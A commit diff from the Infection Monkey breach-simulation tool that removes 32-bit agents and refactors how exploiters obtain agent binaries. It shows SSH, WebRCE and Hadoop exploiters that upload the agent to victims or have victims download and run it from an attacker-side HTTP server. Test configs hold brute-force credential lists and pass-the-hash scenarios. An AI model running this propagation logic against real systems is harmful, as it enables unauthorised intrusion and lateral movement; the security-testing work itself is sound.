Merge branch '1675-remove-32-bit-agents' into agent-refactor

PR #1758
This commit is contained in:
Mike Salvatore 2022-03-02 08:49:52 -05:00
commit 145078839d
61 changed files with 291 additions and 644 deletions

View File

@ -19,6 +19,7 @@ Changelog](https://keepachangelog.com/en/1.0.0/).
- The order and content of Monkey Island's initialization logging to give
clearer instructions to the user and avoid confusion. #1684
- The process list collection system info collector to now be a post-breach action. #1697
- The "/api/monkey/download" endpoint to accept an OS and return a file. #1675
### Removed
- VSFTPD exploiter. #1533
@ -48,6 +49,7 @@ Changelog](https://keepachangelog.com/en/1.0.0/).
- ShellShock exploiter. #1733
- ElasticGroovy exploiter. #1732
- T1082 attack technique report. #1754
- 32-bit agents. #1675
### Fixed
- A bug in network map page that caused delay of telemetry log loading. #1545
@ -57,6 +59,10 @@ Changelog](https://keepachangelog.com/en/1.0.0/).
### Security
- Change SSH exploiter so that it does not set the permissions of the agent
binary in /tmp on the target system to 777, as this could allow a malicious
actor with local access to escalate their privileges. #1750
## [1.13.0] - 2022-01-25
### Added
- A new exploiter that allows propagation via the Log4Shell vulnerability

View File

@ -42,9 +42,7 @@ download_monkey_agent_binaries() {
load_monkey_binary_config
mkdir -p "${island_binaries_path}" || handle_error
curl -L -o "${island_binaries_path}/${LINUX_32_BINARY_NAME}" "${LINUX_32_BINARY_URL}"
curl -L -o "${island_binaries_path}/${LINUX_64_BINARY_NAME}" "${LINUX_64_BINARY_URL}"
curl -L -o "${island_binaries_path}/${WINDOWS_32_BINARY_NAME}" "${WINDOWS_32_BINARY_URL}"
curl -L -o "${island_binaries_path}/${WINDOWS_64_BINARY_NAME}" "${WINDOWS_64_BINARY_URL}"
}

View File

@ -25,15 +25,9 @@ get_latest_release() {
MONKEY_LATEST_RELEASE=$(get_latest_release "guardicore/monkey")
# Monkey binaries
export LINUX_32_BINARY_NAME="monkey-linux-32"
export LINUX_32_BINARY_URL="https://github.com/guardicore/monkey/releases/download/$MONKEY_LATEST_RELEASE/monkey-linux-32"
export LINUX_64_BINARY_NAME="monkey-linux-64"
export LINUX_64_BINARY_URL="https://github.com/guardicore/monkey/releases/download/$MONKEY_LATEST_RELEASE/monkey-linux-64"
export WINDOWS_32_BINARY_NAME="monkey-windows-32.exe"
export WINDOWS_32_BINARY_URL="https://github.com/guardicore/monkey/releases/download/$MONKEY_LATEST_RELEASE/monkey-windows-32.exe"
export WINDOWS_64_BINARY_NAME="monkey-windows-64.exe"
export WINDOWS_64_BINARY_URL="https://github.com/guardicore/monkey/releases/download/$MONKEY_LATEST_RELEASE/monkey-windows-64.exe"

View File

@ -12,12 +12,8 @@ $PYTHON_URL = "https://www.python.org/ftp/python/3.7.7/python-3.7.7-amd64.exe"
# Monkey binaries
$LINUX_32_BINARY_URL = $MONKEY_DOWNLOAD_URL + "monkey-linux-32"
$LINUX_32_BINARY_PATH = "monkey-linux-32"
$LINUX_64_BINARY_URL = $MONKEY_DOWNLOAD_URL + "monkey-linux-64"
$LINUX_64_BINARY_PATH = "monkey-linux-64"
$WINDOWS_32_BINARY_URL = $MONKEY_DOWNLOAD_URL + "monkey-windows-32.exe"
$WINDOWS_32_BINARY_PATH = "monkey-windows-32.exe"
$WINDOWS_64_BINARY_URL = $MONKEY_DOWNLOAD_URL + "monkey-windows-64.exe"
$WINDOWS_64_BINARY_PATH = "monkey-windows-64.exe"

View File

@ -93,7 +93,7 @@ log_message "Cloning files from git"
branch=${2:-"develop"}
log_message "Branch selected: ${branch}"
if [[ ! -d "$monkey_home/monkey" ]]; then # If not already cloned
git clone --single-branch --recurse-submodules -b "$branch" "${MONKEY_GIT_URL}" "${monkey_home}" 2>&1 || handle_error
git clone --recurse-submodules -b "$branch" "${MONKEY_GIT_URL}" "${monkey_home}" 2>&1 || handle_error
fi
# Create folders
@ -161,20 +161,15 @@ agents=${3:-true}
if [ "$agents" = true ] ; then
log_message "Downloading binaries"
if exists wget; then
wget -c -N -P ${ISLAND_BINARIES_PATH} ${LINUX_32_BINARY_URL}
wget -c -N -P ${ISLAND_BINARIES_PATH} ${LINUX_64_BINARY_URL}
wget -c -N -P ${ISLAND_BINARIES_PATH} ${WINDOWS_32_BINARY_URL}
wget -c -N -P ${ISLAND_BINARIES_PATH} ${WINDOWS_64_BINARY_URL}
else
curl -o ${ISLAND_BINARIES_PATH}\monkey-linux-32 ${LINUX_32_BINARY_URL}
curl -o ${ISLAND_BINARIES_PATH}\monkey-linux-64 ${LINUX_64_BINARY_URL}
curl -o ${ISLAND_BINARIES_PATH}\monkey-windows-32.exe ${WINDOWS_32_BINARY_URL}
curl -o ${ISLAND_BINARIES_PATH}\monkey-windows-64.exe ${WINDOWS_64_BINARY_URL}
fi
fi
# Allow them to be executed
chmod a+x "$ISLAND_BINARIES_PATH/$LINUX_32_BINARY_NAME"
chmod a+x "$ISLAND_BINARIES_PATH/$LINUX_64_BINARY_NAME"
# If a user haven't installed mongo manually check if we can install it with our script
@ -207,8 +202,7 @@ if ! exists npm; then
fi
pushd "$ISLAND_PATH/cc/ui" || handle_error
npm install sass-loader node-sass webpack --save-dev
npm update
npm ci
log_message "Generating front end"
npm run dist

View File

@ -209,9 +209,7 @@ function Deploy-Windows([String] $monkey_home = (Get-Item -Path ".\").FullName,
"Adding binaries"
$binaries = (Join-Path -Path $monkey_home -ChildPath $MONKEY_ISLAND_DIR | Join-Path -ChildPath "\cc\binaries")
New-Item -ItemType directory -path $binaries -ErrorAction SilentlyContinue
$webClient.DownloadFile($LINUX_32_BINARY_URL, (Join-Path -Path $binaries -ChildPath $LINUX_32_BINARY_PATH))
$webClient.DownloadFile($LINUX_64_BINARY_URL, (Join-Path -Path $binaries -ChildPath $LINUX_64_BINARY_PATH))
$webClient.DownloadFile($WINDOWS_32_BINARY_URL, (Join-Path -Path $binaries -ChildPath $WINDOWS_32_BINARY_PATH))
$webClient.DownloadFile($WINDOWS_64_BINARY_URL, (Join-Path -Path $binaries -ChildPath $WINDOWS_64_BINARY_PATH))
}

View File

@ -16,7 +16,7 @@ The agent (which we sometimes refer to as the Infection Monkey) is a single Pyth
In order to compile the Infection Monkey for distribution by the Monkey Island, you'll need to run the instructions listed in the [`readme.txt`](https://github.com/guardicore/monkey/blob/master/monkey/infection_monkey/readme.txt) on each supported environment.
This means setting up an environment with Linux 32/64-bit with Python installed and a Windows 64-bit machine with developer tools, along with 32/64-bit Python versions.
This means setting up an environment with Linux 64-bit with Python installed and a Windows 64-bit machine with developer tools, along with 64-bit Python versions.
## The Monkey Island

View File

@ -7,6 +7,9 @@ pre: "<i class='fas fa-play-circle'></i> "
tags: ["usage"]
---
<!-- TODO: Update screenshots -->
If you haven't deployed the Monkey Island yet, please [refer to our setup documentation](/setup).
## Using the Infection Monkey

View File

@ -8,7 +8,7 @@ class BaseTemplate(ConfigTemplate):
"basic.exploiters.exploiter_classes": [],
"basic_network.scope.local_network_scan": False,
"basic_network.scope.depth": 1,
"internal.classes.finger_classes": ["PingScanner", "HTTPFinger"],
"internal.classes.finger_classes": ["HTTPFinger"],
"internal.monkey.system_info.system_info_collector_classes": [],
"monkey.post_breach.post_breach_actions": [],
"internal.general.keep_tunnel_open_time": 0,

View File

@ -9,7 +9,7 @@ class Drupal(ConfigTemplate):
config_values.update(
{
"internal.classes.finger_classes": ["PingScanner", "HTTPFinger"],
"internal.classes.finger_classes": ["HTTPFinger"],
"basic.exploiters.exploiter_classes": ["DrupalExploiter"],
"basic_network.scope.subnet_scan_list": ["10.2.2.28"],
"internal.network.tcp_scanner.HTTP_PORTS": [80],

View File

@ -10,7 +10,7 @@ class Mssql(ConfigTemplate):
config_values.update(
{
"basic.exploiters.exploiter_classes": ["MSSQLExploiter"],
"internal.classes.finger_classes": ["PingScanner"],
"internal.classes.finger_classes": [],
"basic_network.scope.subnet_scan_list": ["10.2.2.16"],
"basic.credentials.exploit_password_list": [
"Password1!",

View File

@ -21,7 +21,7 @@ class PowerShell(ConfigTemplate):
"basic.credentials.exploit_password_list": ["Passw0rd!"],
"basic_network.scope.depth": 2,
"basic.credentials.exploit_user_list": ["m0nk3y", "m0nk3y-user"],
"internal.classes.finger_classes": ["PingScanner"],
"internal.classes.finger_classes": [],
"internal.network.tcp_scanner.HTTP_PORTS": [],
"internal.network.tcp_scanner.tcp_target_ports": [],
"internal.exploits.exploit_ntlm_hash_list": [

View File

@ -14,7 +14,7 @@ class PowerShellCredentialsReuse(ConfigTemplate):
"10.2.3.46",
],
"basic_network.scope.depth": 2,
"internal.classes.finger_classes": ["PingScanner"],
"internal.classes.finger_classes": [],
"internal.network.tcp_scanner.HTTP_PORTS": [],
"internal.network.tcp_scanner.tcp_target_ports": [],
}

View File

@ -13,7 +13,7 @@ class SmbMimikatz(ConfigTemplate):
"basic_network.scope.subnet_scan_list": ["10.2.2.14", "10.2.2.15"],
"basic.credentials.exploit_password_list": ["Password1!", "Ivrrw5zEzs"],
"basic.credentials.exploit_user_list": ["Administrator", "m0nk3y", "user"],
"internal.classes.finger_classes": ["SMBFinger", "PingScanner", "HTTPFinger"],
"internal.classes.finger_classes": ["SMBFinger", "HTTPFinger"],
"internal.network.tcp_scanner.HTTP_PORTS": [],
"internal.network.tcp_scanner.tcp_target_ports": [445],
"monkey.system_info.system_info_collector_classes": [

View File

@ -13,7 +13,7 @@ class SmbPth(ConfigTemplate):
"basic_network.scope.subnet_scan_list": ["10.2.2.15"],
"basic.credentials.exploit_password_list": ["Password1!", "Ivrrw5zEzs"],
"basic.credentials.exploit_user_list": ["Administrator", "m0nk3y", "user"],
"internal.classes.finger_classes": ["SMBFinger", "PingScanner", "HTTPFinger"],
"internal.classes.finger_classes": ["SMBFinger", "HTTPFinger"],
"internal.network.tcp_scanner.HTTP_PORTS": [],
"internal.network.tcp_scanner.tcp_target_ports": [445],
"internal.classes.exploits.exploit_ntlm_hash_list": [

View File

@ -14,7 +14,7 @@ class Ssh(ConfigTemplate):
"basic.credentials.exploit_password_list": ["Password1!", "12345678", "^NgDvY59~8"],
"basic_network.scope.depth": 2,
"basic.credentials.exploit_user_list": ["Administrator", "m0nk3y", "user"],
"internal.classes.finger_classes": ["SSHFinger", "PingScanner"],
"internal.classes.finger_classes": ["SSHFinger"],
"internal.network.tcp_scanner.HTTP_PORTS": [],
"internal.network.tcp_scanner.tcp_target_ports": [22],
}

View File

@ -28,7 +28,6 @@ class Tunneling(ConfigTemplate):
"basic.credentials.exploit_user_list": ["Administrator", "m0nk3y", "user"],
"internal.classes.finger_classes": [
"SSHFinger",
"PingScanner",
"HTTPFinger",
"SMBFinger",
],

View File

@ -13,7 +13,7 @@ class WmiPth(ConfigTemplate):
"basic_network.scope.subnet_scan_list": ["10.2.2.15"],
"basic.credentials.exploit_password_list": ["Password1!"],
"basic.credentials.exploit_user_list": ["Administrator", "m0nk3y", "user"],
"internal.classes.finger_classes": ["PingScanner", "HTTPFinger"],
"internal.classes.finger_classes": ["HTTPFinger"],
"internal.network.tcp_scanner.HTTP_PORTS": [],
"internal.network.tcp_scanner.tcp_target_ports": [135],
"internal.exploits.exploit_ntlm_hash_list": [

View File

@ -89,7 +89,6 @@ class Configuration(object):
dropper_set_date = True
dropper_date_reference_path_windows = r"%windir%\system32\kernel32.dll"
dropper_date_reference_path_linux = "/bin/sh"
dropper_target_path_win_32 = r"C:\Windows\temp\monkey32.exe"
dropper_target_path_win_64 = r"C:\Windows\temp\monkey64.exe"
dropper_target_path_linux = "/tmp/monkey"

View File

@ -8,7 +8,6 @@ from urllib.parse import urljoin
import requests
from requests.exceptions import ConnectionError
import infection_monkey.monkeyfs as monkeyfs
import infection_monkey.tunnel as tunnel
from common.common_consts.api_url_consts import T1216_PBA_FILE_DOWNLOAD_PATH
from common.common_consts.timeouts import LONG_REQUEST_TIMEOUT, MEDIUM_REQUEST_TIMEOUT
@ -259,22 +258,6 @@ class ControlClient(object):
ControlClient.load_control_config()
return not WormConfiguration.alive
@staticmethod
def download_monkey_exe(host):
filename, size = ControlClient.get_monkey_exe_filename_and_size_by_host(host)
if filename is None:
return None
return ControlClient.download_monkey_exe_by_filename(filename, size)
@staticmethod
def download_monkey_exe_by_os(is_windows, is_32bit):
filename, size = ControlClient.get_monkey_exe_filename_and_size_by_host_dict(
ControlClient.spoof_host_os_info(is_windows, is_32bit)
)
if filename is None:
return None
return ControlClient.download_monkey_exe_by_filename(filename, size)
@staticmethod
def spoof_host_os_info(is_windows, is_32bit):
if is_windows:
@ -292,70 +275,6 @@ class ControlClient(object):
return {"os": {"type": os, "machine": arch}}
@staticmethod
def download_monkey_exe_by_filename(filename, size):
if not WormConfiguration.current_server:
return None
try:
dest_file = monkeyfs.virtual_path(filename)
if (monkeyfs.isfile(dest_file)) and (size == monkeyfs.getsize(dest_file)):
return dest_file
else:
download = requests.get( # noqa: DUO123
"https://%s/api/monkey/download/%s"
% (WormConfiguration.current_server, filename),
verify=False,
proxies=ControlClient.proxies,
timeout=MEDIUM_REQUEST_TIMEOUT,
)
with monkeyfs.open(dest_file, "wb") as file_obj:
for chunk in download.iter_content(chunk_size=DOWNLOAD_CHUNK):
if chunk:
file_obj.write(chunk)
file_obj.flush()
if size == monkeyfs.getsize(dest_file):
return dest_file
except Exception as exc:
logger.warning(
"Error connecting to control server %s: %s", WormConfiguration.current_server, exc
)
@staticmethod
def get_monkey_exe_filename_and_size_by_host(host):
return ControlClient.get_monkey_exe_filename_and_size_by_host_dict(host.as_dict())
@staticmethod
def get_monkey_exe_filename_and_size_by_host_dict(host_dict):
if not WormConfiguration.current_server:
return None, None
try:
reply = requests.post( # noqa: DUO123
"https://%s/api/monkey/download" % (WormConfiguration.current_server,),
data=json.dumps(host_dict),
headers={"content-type": "application/json"},
verify=False,
proxies=ControlClient.proxies,
timeout=LONG_REQUEST_TIMEOUT,
)
if 200 == reply.status_code:
result_json = reply.json()
filename = result_json.get("filename")
if not filename:
return None, None
size = result_json.get("size")
return filename, size
else:
return None, None
except Exception as exc:
logger.warning(
"Error connecting to control server %s: %s", WormConfiguration.current_server, exc
)
return None, None
@staticmethod
def create_control_tunnel():
if not WormConfiguration.current_server:

View File

@ -19,7 +19,6 @@
"dropper_log_path_windows": "%temp%\\~df1562.tmp",
"dropper_log_path_linux": "/tmp/user-1562",
"dropper_set_date": true,
"dropper_target_path_win_32": "C:\\Windows\\temp\\monkey32.exe",
"dropper_target_path_win_64": "C:\\Windows\\temp\\monkey64.exe",
"dropper_target_path_linux": "/tmp/monkey",

View File

@ -9,6 +9,8 @@ from infection_monkey.config import WormConfiguration
from infection_monkey.i_puppet import ExploiterResultData
from infection_monkey.telemetry.messengers.i_telemetry_messenger import ITelemetryMessenger
from . import IAgentRepository
logger = logging.getLogger(__name__)
@ -67,9 +69,16 @@ class HostExploiter:
)
# TODO: host should be VictimHost, at the moment it can't because of circular dependency
def exploit_host(self, host, telemetry_messenger: ITelemetryMessenger, options: Dict):
def exploit_host(
self,
host,
telemetry_messenger: ITelemetryMessenger,
agent_repository: IAgentRepository,
options: Dict,
):
self.host = host
self.telemetry_messenger = telemetry_messenger
self.agent_repository = agent_repository
self.options = options
self.pre_exploit()

View File

@ -1 +1,3 @@
from .i_agent_repository import IAgentRepository
from .caching_agent_repository import CachingAgentRepository
from .exploiter_wrapper import ExploiterWrapper

View File

@ -0,0 +1,37 @@
import io
from functools import lru_cache
from typing import Mapping
import requests
from common.common_consts.timeouts import MEDIUM_REQUEST_TIMEOUT
from . import IAgentRepository
class CachingAgentRepository(IAgentRepository):
"""
CachingAgentRepository implements the IAgentRepository interface and downloads the requested
agent binary from the island on request. The agent binary is cached so that only one request is
actually sent to the island for each requested binary.
"""
def __init__(self, island_url: str, proxies: Mapping[str, str]):
self._island_url = island_url
self._proxies = proxies
def get_agent_binary(self, os: str, _: str = None) -> io.BytesIO:
return io.BytesIO(self._download_binary_from_island(os))
@lru_cache(maxsize=None)
def _download_binary_from_island(self, os: str) -> bytes:
response = requests.get( # noqa: DUO123
f"{self._island_url}/api/monkey/download/{os}",
verify=False,
proxies=self._proxies,
timeout=MEDIUM_REQUEST_TIMEOUT,
)
response.raise_for_status()
return response.content

View File

@ -3,6 +3,7 @@ from typing import Dict, Type
from infection_monkey.model import VictimHost
from infection_monkey.telemetry.messengers.i_telemetry_messenger import ITelemetryMessenger
from . import IAgentRepository
from .HostExploiter import HostExploiter
@ -16,17 +17,28 @@ class ExploiterWrapper:
class Inner:
def __init__(
self, exploit_class: Type[HostExploiter], telemetry_messenger: ITelemetryMessenger
self,
exploit_class: Type[HostExploiter],
telemetry_messenger: ITelemetryMessenger,
agent_repository: IAgentRepository,
):
self._exploit_class = exploit_class
self._telemetry_messenger = telemetry_messenger
self._agent_repository = agent_repository
def exploit_host(self, host: VictimHost, options: Dict):
exploiter = self._exploit_class()
return exploiter.exploit_host(host, self._telemetry_messenger, options)
return exploiter.exploit_host(
host, self._telemetry_messenger, self._agent_repository, options
)
def __init__(self, telemetry_messenger: ITelemetryMessenger):
def __init__(
self, telemetry_messenger: ITelemetryMessenger, agent_repository: IAgentRepository
):
self._telemetry_messenger = telemetry_messenger
self._agent_repository = agent_repository
def wrap(self, exploit_class: Type[HostExploiter]):
return ExploiterWrapper.Inner(exploit_class, self._telemetry_messenger)
return ExploiterWrapper.Inner(
exploit_class, self._telemetry_messenger, self._agent_repository
)

View File

@ -42,13 +42,18 @@ class HadoopExploiter(WebRCE):
self.add_vulnerable_urls(urls, True)
if not self.vulnerable_urls:
return self.exploit_result
paths = self.get_monkey_paths()
if not paths:
return self.exploit_result
http_path, http_thread = HTTPTools.create_locked_transfer(self.host, paths["src_path"])
try:
command = self._build_command(paths["dest_path"], http_path)
dropper_target_path = self.monkey_target_paths[self.host.os["type"]]
except KeyError:
return self.exploit_result
http_path, http_thread = HTTPTools.create_locked_transfer(
self.host, dropper_target_path, self.agent_repository
)
try:
command = self._build_command(dropper_target_path, http_path)
if self.exploit(self.vulnerable_urls[0], command):
self.add_executed_cmd(command)

View File

@ -0,0 +1,21 @@
import abc
import io
class IAgentRepository(metaclass=abc.ABCMeta):
"""
IAgentRepository provides an interface for other components to access agent binaries. Notably,
this is used by exploiters during propagation to retrieve the appropriate agent binary so that
it can be uploaded to a victim and executed.
"""
@abc.abstractmethod
def get_agent_binary(self, os: str, architecture: str = None) -> io.BytesIO:
"""
Retrieve the appropriate agent binary from the repository.
:param str os: The name of the operating system on which the agent binary will run
:param str architecture: Reserved
:return: A file-like object for the requested agent binary
:rtype: io.BytesIO
"""
pass

View File

@ -2,7 +2,6 @@ import logging
import os
from typing import List, Optional
import infection_monkey.monkeyfs as monkeyfs
from common.utils.exploit_enum import ExploitType
from infection_monkey.exploit.consts import WIN_ARCH_32
from infection_monkey.exploit.HostExploiter import HostExploiter
@ -22,7 +21,7 @@ from infection_monkey.exploit.powershell_utils.powershell_client import (
IPowerShellClient,
PowerShellClient,
)
from infection_monkey.exploit.tools.helpers import get_monkey_depth, get_target_monkey_by_os
from infection_monkey.exploit.tools.helpers import get_monkey_depth
from infection_monkey.model import DROPPER_ARG, RUN_MONKEY, VictimHost
from infection_monkey.utils.commands import build_monkey_commandline
from infection_monkey.utils.environment import is_windows_os
@ -186,11 +185,15 @@ class PowerShellExploiter(HostExploiter):
return is_monkey_copy_successful
def _write_virtual_file_to_local_path(self) -> None:
"""
# TODO: monkeyfs has been removed. Fix this in issue #1740.
monkey_fs_path = get_target_monkey_by_os(is_windows=True, is_32bit=self.is_32bit)
with monkeyfs.open(monkey_fs_path) as monkey_virtual_file:
with open(TEMP_MONKEY_BINARY_FILEPATH, "wb") as monkey_local_file:
monkey_local_file.write(monkey_virtual_file.read())
"""
pass
def _run_monkey_executable_on_victim(self, executable_path) -> None:
monkey_execution_command = build_monkey_execution_command(

View File

@ -4,12 +4,11 @@ import time
import paramiko
import infection_monkey.monkeyfs as monkeyfs
from common.utils.attack_utils import ScanStatus
from common.utils.exceptions import FailedExploitationError
from common.utils.exploit_enum import ExploitType
from infection_monkey.exploit.HostExploiter import HostExploiter
from infection_monkey.exploit.tools.helpers import get_monkey_depth, get_target_monkey
from infection_monkey.exploit.tools.helpers import get_monkey_depth
from infection_monkey.i_puppet import ExploiterResultData
from infection_monkey.model import MONKEY_ARG
from infection_monkey.network.tools import check_tcp_port, get_interface_to_target
@ -133,7 +132,6 @@ class SSHExploiter(HostExploiter):
_, stdout, _ = ssh.exec_command("uname -o")
uname_os = stdout.read().lower().strip().decode()
if "linux" in uname_os:
self.host.os["type"] = "linux"
self.exploit_result.os = "linux"
else:
self.exploit_result.error_message = f"SSH Skipping unknown os: {uname_os}"
@ -149,21 +147,9 @@ class SSHExploiter(HostExploiter):
logger.error(self.exploit_result.error_message)
return self.exploit_result
if not self.host.os.get("machine"):
try:
_, stdout, _ = ssh.exec_command("uname -m")
uname_machine = stdout.read().lower().strip().decode()
if "" != uname_machine:
self.host.os["machine"] = uname_machine
except Exception as exc:
self.exploit_result.error_message = (
f"Error running uname machine command on victim {self.host}: ({exc})"
)
logger.error(self.exploit_result.error_message)
agent_binary_file_object = self.agent_repository.get_agent_binary(self.exploit_result.os)
src_path = get_target_monkey(self.host)
if not src_path:
if not agent_binary_file_object:
self.exploit_result.error_message = (
f"Can't find suitable monkey executable for host {self.host}"
)
@ -172,26 +158,17 @@ class SSHExploiter(HostExploiter):
return self.exploit_result
try:
ftp = ssh.open_sftp()
self._update_timestamp = time.time()
with monkeyfs.open(src_path) as file_obj:
with ssh.open_sftp() as ftp:
self._update_timestamp = time.time()
ftp.putfo(
file_obj,
agent_binary_file_object,
self.options["dropper_target_path_linux"],
file_size=monkeyfs.getsize(src_path),
file_size=len(agent_binary_file_object.getbuffer()),
callback=self.log_transfer,
)
ftp.chmod(self.options["dropper_target_path_linux"], 0o777)
status = ScanStatus.USED
self.telemetry_messenger.send_telemetry(
T1222Telem(
ScanStatus.USED,
"chmod 0777 %s" % self.options["dropper_target_path_linux"],
self.host,
)
)
ftp.close()
self._set_executable_bit_on_agent_binary(ftp)
status = ScanStatus.USED
except Exception as exc:
self.exploit_result.error_message = (
f"Error uploading file into victim {self.host}: ({exc})"
@ -201,7 +178,10 @@ class SSHExploiter(HostExploiter):
self.telemetry_messenger.send_telemetry(
T1105Telem(
status, get_interface_to_target(self.host.ip_addr), self.host.ip_addr, src_path
status,
get_interface_to_target(self.host.ip_addr),
self.host.ip_addr,
self.options["dropper_target_path_linux"],
)
)
if status == ScanStatus.SCANNED:
@ -233,3 +213,13 @@ class SSHExploiter(HostExploiter):
logger.error(self.exploit_result.error_message)
return self.exploit_result
def _set_executable_bit_on_agent_binary(self, ftp: paramiko.sftp_client.SFTPClient):
ftp.chmod(self.options["dropper_target_path_linux"], 0o700)
self.telemetry_messenger.send_telemetry(
T1222Telem(
ScanStatus.USED,
"chmod 0700 %s" % self.options["dropper_target_path_linux"],
self.host,
)
)

View File

@ -11,38 +11,13 @@ def try_get_target_monkey(host):
def get_target_monkey(host):
import platform
import sys
from infection_monkey.control import ControlClient
if host.monkey_exe:
return host.monkey_exe
if not host.os.get("type"):
return None
monkey_path = ControlClient.download_monkey_exe(host)
if host.os.get("machine") and monkey_path:
host.monkey_exe = monkey_path
if not monkey_path:
if host.os.get("type") == platform.system().lower():
# if exe not found, and we have the same arch or arch is unknown and we are 32bit,
# use our exe
if (not host.os.get("machine") and sys.maxsize < 2 ** 32) or host.os.get(
"machine", ""
).lower() == platform.machine().lower():
monkey_path = sys.executable
return monkey_path
raise NotImplementedError("get_target_monkey() has been retired. Use IAgentRepository instead.")
def get_target_monkey_by_os(is_windows, is_32bit):
from infection_monkey.control import ControlClient
return ControlClient.download_monkey_exe_by_os(is_windows, is_32bit)
raise NotImplementedError(
"get_target_monkey_by_os() has been retired. Use IAgentRepository instead."
)
def get_monkey_depth():
@ -54,7 +29,7 @@ def get_monkey_depth():
def get_monkey_dest_path(url_to_monkey):
"""
Gets destination path from monkey's source url.
:param url_to_monkey: Hosted monkey's url. egz : http://localserver:9999/monkey/windows-32.exe
:param url_to_monkey: Hosted monkey's url. egz : http://localserver:9999/monkey/windows-64.exe
:return: Corresponding monkey path from configuration
"""
from infection_monkey.config import WormConfiguration
@ -65,8 +40,6 @@ def get_monkey_dest_path(url_to_monkey):
try:
if "linux" in url_to_monkey:
return WormConfiguration.dropper_target_path_linux
elif "windows-32" in url_to_monkey:
return WormConfiguration.dropper_target_path_win_32
elif "windows-64" in url_to_monkey:
return WormConfiguration.dropper_target_path_win_64
else:

View File

@ -11,33 +11,12 @@ from infection_monkey.model import DOWNLOAD_TIMEOUT
from infection_monkey.network.firewall import app as firewall
from infection_monkey.network.info import get_free_tcp_port
from infection_monkey.network.tools import get_interface_to_target
from infection_monkey.transport import HTTPServer, LockedHTTPServer
from infection_monkey.transport import LockedHTTPServer
logger = logging.getLogger(__name__)
class HTTPTools(object):
@staticmethod
def create_transfer(host, src_path, local_ip=None, local_port=None):
if not local_port:
local_port = get_free_tcp_port()
if not local_ip:
local_ip = get_interface_to_target(host.ip_addr)
if not firewall.listen_allowed():
return None, None
httpd = HTTPServer(local_ip, local_port, src_path)
httpd.daemon = True
httpd.start()
return (
"http://%s:%s/%s"
% (local_ip, local_port, urllib.parse.quote(os.path.basename(src_path))),
httpd,
)
@staticmethod
def try_create_locked_transfer(host, src_path, local_ip=None, local_port=None):
http_path, http_thread = HTTPTools.create_locked_transfer(
@ -49,7 +28,9 @@ class HTTPTools(object):
return http_path, http_thread
@staticmethod
def create_locked_transfer(host, src_path, local_ip=None, local_port=None):
def create_locked_transfer(
host, dropper_target_path, agent_repository, local_ip=None, local_port=None
):
"""
Create http server for file transfer with a lock
:param host: Variable with target's information
@ -71,12 +52,13 @@ class HTTPTools(object):
logger.error("Firewall is not allowed to listen for incomming ports. Aborting")
return None, None
httpd = LockedHTTPServer(local_ip, local_port, src_path, lock)
httpd = LockedHTTPServer(
local_ip, local_port, host.os["type"], dropper_target_path, agent_repository, lock
)
httpd.start()
lock.acquire()
return (
"http://%s:%s/%s"
% (local_ip, local_port, urllib.parse.quote(os.path.basename(src_path))),
"http://%s:%s/%s" % (local_ip, local_port, urllib.parse.quote(host.os["type"])),
httpd,
)

View File

@ -6,7 +6,6 @@ from impacket.dcerpc.v5 import srvs, transport
from impacket.smb3structs import SMB2_DIALECT_002, SMB2_DIALECT_21
from impacket.smbconnection import SMB_DIALECT, SMBConnection
import infection_monkey.monkeyfs as monkeyfs
from common.utils.attack_utils import ScanStatus
from infection_monkey.config import Configuration
from infection_monkey.network.tools import get_interface_to_target
@ -20,7 +19,8 @@ class SmbTools(object):
def copy_file(
host, src_path, dst_path, username, password, lm_hash="", ntlm_hash="", timeout=60
):
assert monkeyfs.isfile(src_path), "Source file to copy (%s) is missing" % (src_path,)
# monkeyfs has been removed. Fix this in issue #1741
# assert monkeyfs.isfile(src_path), "Source file to copy (%s) is missing" % (src_path,)
smb, dialect = SmbTools.new_smb_connection(
host, username, password, lm_hash, ntlm_hash, timeout
@ -138,10 +138,13 @@ class SmbTools(object):
remote_full_path = ntpath.join(share_path, remote_path.strip(ntpath.sep))
try:
# monkeyfs has been removed. Fix this in issue #1741
"""
with monkeyfs.open(src_path, "rb") as source_file:
# make sure of the timeout
smb.setTimeout(timeout)
smb.putFile(share_name, remote_path, source_file.read)
"""
file_uploaded = True
T1105Telem(

View File

@ -4,7 +4,6 @@ from posixpath import join
from typing import List, Tuple
from common.utils.attack_utils import BITS_UPLOAD_STRING, ScanStatus
from infection_monkey.exploit.consts import WIN_ARCH_64
from infection_monkey.exploit.HostExploiter import HostExploiter
from infection_monkey.exploit.tools.helpers import get_monkey_depth, get_target_monkey
from infection_monkey.exploit.tools.http_tools import HTTPTools
@ -35,7 +34,7 @@ class WebRCE(HostExploiter):
def __init__(self, monkey_target_paths=None):
"""
:param monkey_target_paths: Where to upload the monkey at the target host system.
Dict in format {'linux': '/tmp/monkey.sh', 'win32': './monkey32.exe', 'win64':... }
Dict in format {'linux': '/tmp/monkey.sh', 'win64':... }
"""
super(WebRCE, self).__init__()
self.monkey_target_paths = monkey_target_paths
@ -117,7 +116,6 @@ class WebRCE(HostExploiter):
if not self.monkey_target_paths:
self.monkey_target_paths = {
"linux": self.options["dropper_target_path_linux"],
"win32": self.options["dropper_target_path_win_32"],
"win64": self.options["dropper_target_path_win_64"],
}
self.HTTP = [str(port) for port in self.options["http_ports"]]
@ -276,7 +274,7 @@ class WebRCE(HostExploiter):
"monkey_path": dest_path,
"http_path": http_path,
}
self.telemetry_messenger.send_telemtry(
self.telemetry_messenger.send_telemetry(
T1197Telem(ScanStatus.USED, self.host, BITS_UPLOAD_STRING)
)
resp = self.exploit(url, backup_command)
@ -294,11 +292,12 @@ class WebRCE(HostExploiter):
if not self.host.os["type"]:
logger.error("Unknown target's os type. Skipping.")
return False
paths = self.get_monkey_paths()
if not paths:
return False
dropper_target_path = self.monkey_target_paths[self.host.os["type"]]
# Create server for http download and wait for it's startup.
http_path, http_thread = HTTPTools.create_locked_transfer(self.host, paths["src_path"])
http_path, http_thread = HTTPTools.create_locked_transfer(
self.host, dropper_target_path, self.agent_repository
)
if not http_path:
logger.debug("Exploiter failed, http transfer creation failed.")
return False
@ -306,10 +305,10 @@ class WebRCE(HostExploiter):
# Choose command:
if not commands:
commands = {"windows": POWERSHELL_HTTP_UPLOAD, "linux": WGET_HTTP_UPLOAD}
command = self.get_command(paths["dest_path"], http_path, commands)
command = self.get_command(dropper_target_path, http_path, commands)
resp = self.exploit(url, command)
self.add_executed_cmd(command)
resp = self.run_backup_commands(resp, url, paths["dest_path"], http_path)
resp = self.run_backup_commands(resp, url, dropper_target_path, http_path)
http_thread.join(DOWNLOAD_TIMEOUT)
http_thread.stop()
@ -318,7 +317,7 @@ class WebRCE(HostExploiter):
